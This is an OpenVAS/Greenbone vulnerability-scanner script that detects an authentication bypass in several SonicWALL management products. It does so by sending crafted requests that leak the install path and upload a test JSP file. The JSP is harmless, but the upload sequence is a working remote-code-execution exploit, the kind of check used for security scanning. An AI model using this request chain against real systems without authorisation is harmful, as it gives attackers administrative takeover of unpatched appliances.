Multiple SonicWALL Products Authentication Bypass Vulnerability

# Copyright (C) 2013 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103642");
  script_cve_id("CVE-2013-1359", "CVE-2013-1360");
  script_version("2022-04-26T08:12:14+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2022-04-26 08:12:14 +0000 (Tue, 26 Apr 2022)");
  script_tag(name:"creation_date", value:"2013-01-18 13:01:11 +0100 (Fri, 18 Jan 2013)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-02-14 18:13:00 +0000 (Fri, 14 Feb 2020)");
  script_name("Multiple SonicWALL Products Authentication Bypass Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/57445");
  script_xref(name:"URL", value:"http://sotiriu.de/adv/NSOADV-2013-001.txt");

  script_tag(name:"summary", value:"Multiple SonicWALL products including Global Management System (GMS),
  ViewPoint, Universal Management Appliance (UMA), and Analyzer are
  prone to an authentication bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP POST and GET requests and checks
  the responses.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for
  more information.");

  script_tag(name:"impact", value:"Attackers can exploit this issue to gain administrative access to
  the web interface. This allows attackers to execute arbitrary code with SYSTEM privileges that
  could fully compromise the system.");

  script_tag(name:"affected", value:"GMS/Analyzer/UMA 7.0.x

  GMS/ViewPoint/UMA 6.0.x

  GMS/ViewPoint/UMA 5.1.x

  GMS/ViewPoint 5.0.x

  GMS/ViewPoint 4.1.x");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:80);

url = "/";
buf = http_get_cache(item:url, port:port);

if(!buf || "<title>sonicwall" >!< tolower(buf))
  exit(0);

useragent = http_get_user_agent();
host = http_host_name(port:port);

req = string(
  "POST /appliance/applianceMainPage?skipSessionCheck=1 HTTP/1.1\r\n",
  "TE: deflate,gzip;q=0.3\r\n",
  "Connection: TE, close\r\n",
  "Host: ", host, "\r\n",
  "User-Agent: ", useragent, "\r\n",
  "Content-Length: 90\r\n",
  "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
  "\r\n",
  "num=123456&action=show_diagnostics&task=search&item=application_log&criteria=*.*&width=500\r\n");

result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if("<OPTION VALUE" >!< result)
  exit(0);

lines = split(result);

foreach line (lines) {
  if("<OPTION VALUE" >< line) {
    a = split(line, sep:'"', keep:FALSE);
    if("logs" >< a[1]) {
      b = split(a[1], sep:"logs", keep:FALSE);
      gms_path = b[0];
      if(!isnull(gms_path))
        break;
    }
  }
}

if(isnull(gms_path))
  exit(0);

if(gms_path =~ "^/") {
  gms_path = gms_path + "webapps/appliance/";
} else {
  gms_path = gms_path + 'webapps\\appliance\\';
}

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".jsp";
jsp_print = vtstrings["lowercase_rand"];
jsp = '<% out.println( "' + jsp_print  + '" ); %>';

len = 325 + strlen(jsp) + strlen(gms_path) + strlen(file);

req = string(
  "POST /appliance/applianceMainPage?skipSessionCheck=1 HTTP/1.1\r\n",
  "TE: deflate,gzip;q=0.3\r\n",
  "Connection: TE, close\r\n",
  "Host: ", host, "\r\n",
  "User-Agent: ", useragent, "\r\n",
  "Content-Length: ", len, "\r\n",
  "Content-Type: multipart/form-data; boundary=xYzZY\r\n",
  "\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="action"',"\r\n",
  "\r\n",
  "file_system\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="task"',"\r\n",
  "\r\n",
  "uploadFile\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="searchFolder"',"\r\n",
  "\r\n",
  gms_path, "\r\n",
  "--xYzZY\r\n",
  'Content-Disposition: form-data; name="uploadFileName"; filename="', file, '"', "\r\n",
  "Content-Type: text/plain\r\n",
  "\r\n",
  jsp, "\r\n",
  "\r\n",
  "--xYzZY--\r\n");

result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!result || result !~ "^HTTP/1\.[01] 200")
  exit(0);

url = "/appliance/" + file;
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(jsp_print >< buf) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);